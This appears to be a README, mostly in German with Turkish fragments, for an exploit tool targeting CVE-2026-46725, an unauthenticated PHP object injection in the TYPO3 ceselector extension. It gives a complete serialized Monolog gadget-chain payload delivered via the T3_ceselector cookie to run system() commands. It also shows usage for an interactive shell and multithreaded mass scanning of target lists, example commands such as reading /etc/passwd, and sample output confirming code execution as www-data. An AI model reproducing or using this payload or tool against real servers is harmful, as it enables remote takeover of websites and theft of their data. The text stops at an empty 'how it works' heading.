CVE-2026-46725 — TYPO3 ceselector Erweiterung RCE

PHP-Objekt-Injection via unserialize() Cookie Bypass → Remotecodeausführung

---

📋 Inhaltsverzeichnis

• Über die Schwachstelle
• Technische Details
• Anforderungen
• Installation
• Verwendung
• Beispiele
• Ausgabeformat
• Wie es funktioniert
• Referenzen
• Rechtlicher Hinweis

---

🔍 Über die Schwachstelle

Feld	Detail
CVE ID	CVE-2026-46725
Produkt	TYPO3 ceselector Erweiterung (mmc/ceselector)
Betroffene Version	<= 1.1.3
Schwachstellentyp	Unsicheres Deserialisieren (PHP-Objekt-Injection)
CVSS-Score	9.8 Kritisch
CVSS-Vektor	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE	CWE-502 (Deserialisierung nicht vertrauenswürdiger Daten)
EPSS-Score	0.0046 (%64.3 percentile)
Authentifizierung	Nicht erforderlich (Unauthentifiziert)
Auswirkung	Full RCE — Vollständige Systemkontrolle
Forscher	DhiyaneshDk

Beschreibung

Die TYPO3 ceselector-Erweiterung übergibt den Cookie-Wert T3_ceselector_* ohne Validierung direkt an die Funktion unserialize(). Ein Angreifer kann durch Platzieren eines speziell präparierten PHP-Objekt-Injection-Payloads in diesem Cookie beliebige Befehle auf dem Server ausführen.

⚠️ Voraussetzung: Damit die Schwachstelle ausgenutzt werden kann, muss in der TYPO3-Konfiguration der Modus Persistent Mode: Static aktiviert sein.

---

🔧 Technische Details

Angriffsablauf

1. GET /  →  Sunucu Set-Cookie: T3_ceselector_<id>=<value> döner
2. GET /  →  Cookie: T3_ceselector_<id>=<PAYLOAD>
             └─ PHP unserialize() tetiklenir
             └─ Monolog Gadget Chain çalışır
             └─ system("id") çıktısı response'a yansır

Gadget Chain

Monolog\Handler\GroupHandler
  └─ Monolog\Handler\BufferHandler
       └─ Monolog\LogRecord (buffer)
            └─ processors: [get_object_vars, end, system]
                 └─ system("<CMD>")  ← RCE

Payload-Struktur

O:28:"Monolog\Handler\GroupHandler":1:{
  s:11:"*handlers";a:1:{
    i:0;O:29:"Monolog\Handler\BufferHandler":6:{
      s:10:"*handler";r:3;
      s:13:"*bufferSize";i:1;
      s:14:"*bufferLimit";i:0;
      s:9:"*buffer";a:1:{
        i:0;O:17:"Monolog\LogRecord":2:{
          s:5:"level";E:19:"Monolog\Level:Debug";
          s:5:"mixed";s:2:"id";   ← OS komutu buraya
        }
      }
      s:14:"*initialized";b:1;
      s:13:"*processors";a:3:{
        i:0;s:15:"get_object_vars";
        i:1;s:3:"end";
        i:2;s:6:"system";   ← sink
      }
    }
  }
}

---

📦 Anforderungen

• Python 3.8+
• requests-Bibliothek

Python >= 3.8
requests >= 2.28.0

---

⚙️ Installation

# Repoyu klonla
git clone https://github.com/example/CVE-2026-46725
cd CVE-2026-46725

# Bağımlılıkları yükle
pip install requests

# veya requirements.txt ile
pip install -r requirements.txt

requirements.txt

requests>=2.28.0
urllib3>=1.26.0

---

🚀 Verwendung

usage: CVE-2026-46725 [-h] (-u URL | -l FILE) [-c CMD] [-i]
                      [-t N] [--timeout S] [--proxy URL]
                      [-o FILE] [-v] [--no-color]

options:
Hedef:
  -u, --url URL       Tek hedef URL
  -l, --list FILE     Hedef listesi (satır başı URL)

Exploit:
  -c, --cmd CMD       Çalıştırılacak OS komutu (varsayılan: id)
  -i, --interactive   Başarılı exploit sonrası interaktif shell aç

Tarama:
  -t, --threads N     Thread sayısı (varsayılan: 10)
  --timeout S         Timeout saniye (varsayılan: 15)
  --proxy URL         Proxy (örn: http://127.0.0.1:8080)

Çıktı:
  -o, --output FILE   Sonuç dosyası
  -v, --verbose       Ayrıntılı çıktı
  --no-color          Renksiz çıktı

---

📌 Beispiele

Einzelziel – Grundlegende Verwendung

python CVE-2026-46725.py -u https://typo3-site.com

Eigenen Befehl ausführen

python CVE-2026-46725.py -u https://typo3-site.com -c "whoami"
python CVE-2026-46725.py -u https://typo3-site.com -c "cat /etc/passwd"
python CVE-2026-46725.py -u https://typo3-site.com -c "uname -a"

Interaktive Shell

python CVE-2026-46725.py -u https://typo3-site.com --interactive

typo3@ceselector $ id
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
typo3@ceselector $ uname -a
│ Linux web01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
typo3@ceselector $ pwd
│ /var/www/html
typo3@ceselector $ exit

Massenscan

# 20 thread ile tara, sonuçları kaydet
python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt

# 30 thread, özel komut
python CVE-2026-46725.py -l targets.txt -t 30 -c "id"

Mit Proxy (Burp Suite)

python CVE-2026-46725.py -u https://typo3-site.com \
  --proxy http://127.0.0.1:8080 -v

targets.txt-Format

https://site1.com
https://site2.com
http://site3.com
site4.com

---

📊 Ausgabeformat

Terminalausgabe

① TYPO3 & ceselector Tespit
────────────────────────────────────────────────────
· TYPO3             ✓ Tespit edildi
· ceselector        ✓ Aktif
· Cookie Adı        T3_ceselector_48291
· TYPO3 Sürüm       12.4.3

② Payload Hazırlanıyor
────────────────────────────────────────────────────
· Teknik            PHP Object Injection → Monolog Gadget Chain
· Gadget            Monolog\Handler\GroupHandler
· Sink              system()
· Komut             id

④ RCE Çıktısı
────────────────────────────────────────────────────
┌─ RCE ÇIKTISI ───────────────────────────────────
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
└─────────────────────────────────────────────────

Log-Datei (results.txt)

============================================================
CVE-2026-46725 — TYPO3 ceselector RCE
Tarih: 2026-05-26 17:30:00
============================================================

[+] RCE ALINAN HEDEFLER (2)
----------------------------------------
URL        : https://typo3-site.com
Sürüm      : 12.4.3
Cookie     : T3_ceselector_48291
Komut      : id
Çıktı      : uid=33(www-data) gid=33(www-data) groups=33(www-data)

---

🔬 Wie es funktioniert